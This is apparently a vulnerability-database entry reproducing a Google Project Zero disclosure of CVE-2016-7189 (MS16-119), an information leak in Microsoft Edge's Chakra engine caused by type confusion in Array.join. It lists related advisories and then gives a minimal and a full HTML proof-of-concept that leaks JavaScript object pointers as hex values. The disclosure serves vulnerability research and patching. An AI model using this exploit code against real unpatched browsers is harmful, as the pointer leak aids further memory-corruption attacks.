Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)

🗓️ 20 Oct 2016 00:00:00Reported by Google Security ResearchType

Microsoft Edge 'Array.join' Information Leak (MS16-119) details a security vulnerability in Chakra's JavaScriptArray::JoinArrayHelper function, potentially allowing execution of user scripts and access to object pointers in an array

Reporter	Title	Published	Views	Family All 17
BDU FSTEC	Microsoft Edge browser vulnerability, allowing a hacker to execute arbitrary code	2 Dec 201600:00	–	bdu_fstec
Circl	CVE-2016-7189	20 Oct 201600:00	–	circl
CNVD	Microsoft Edge Scripting Engine Information Disclosure Vulnerability	13 Oct 201600:00	–	cnvd
Check Point Advisories	Microsoft Scripting Engine Information Disclosure (MS16-119: CVE-2016-7189)	11 Oct 201600:00	–	checkpoint_advisories
CVE	CVE-2016-7189	14 Oct 201601:00	–	cve
Cvelist	CVE-2016-7189	14 Oct 201601:00	–	cvelist
Github Security Blog	ChakraCore RCE Vulnerability	14 May 202202:22	–	github
Microsoft KB	MS16-119: Cumulative security update for Microsoft Edge: October 11, 2016	11 Oct 201600:00	–	mskb
NVD	CVE-2016-7189	14 Oct 201602:59	–	nvd
OpenVAS	Microsoft Edge Multiple Vulnerabilities (3192890)	12 Oct 201600:00	–	openvas

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=919

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.
-->

<html><body><script>

var y = 0;
var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      t[0] = {};
      var j = [];
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);
var a = s.split(",");
var h = [];
for(item in a){
	var n = parseInt(a[item]);
     if (n < 0){
		n = n + 0x100000000;
     }
	var ss = n.toString(16);
      h.push(ss);
}
alert(h);

</script></body></html>

21 Oct 2016 00:00Current

7.5High risk

Vulners AI Score7.5

CVSS 37.5

CVSS 29.3

EPSS0.48127